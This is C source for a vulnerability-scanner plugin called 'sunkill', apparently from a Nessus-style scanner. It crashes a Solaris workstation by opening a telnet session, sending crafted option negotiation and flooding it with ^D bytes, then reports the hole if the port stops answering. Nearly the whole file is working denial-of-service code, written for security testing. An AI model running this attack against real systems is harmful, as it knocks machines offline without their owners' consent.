/*
 * 
 * sunkill
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#include <arpa/telnet.h>

#define NAME "sunkill"
#define DESC "This plugin performs a denial of service against \
a Solaris Workstation, by flooding it with ^D while negociating a \
telnet session"
#define COPYRIGHT "discovered by Jason Zapman II <zapman@CC.GATECH.EDU>"
#define SUMM "performs a denial of service against a Solaris Workstation"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
  unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
  TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
  TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};

  int i;
  unsigned char nastybuf[255];
  int s;
        
  if(!host_get_port_state(args, 23))return(0);
  memset(nastybuf,4,255);  /* ascii 4 = ^D */
  if((s = open_sock_tcp(args, 23))<0)return(0);
  write(s,kludge_telopt,21);   /* kludge some telnet negotiation */
  for(i=0;i<10;i++)write(s,nastybuf,255);
  socket_close(s);
  
  if((s = open_sock_tcp(args, 23))<0)
  	post_hole(args, 23,
"We could perform a denial of service against the remote \n\
 workstation using sunkill");
 else socket_close(s);
  return(0); 
}

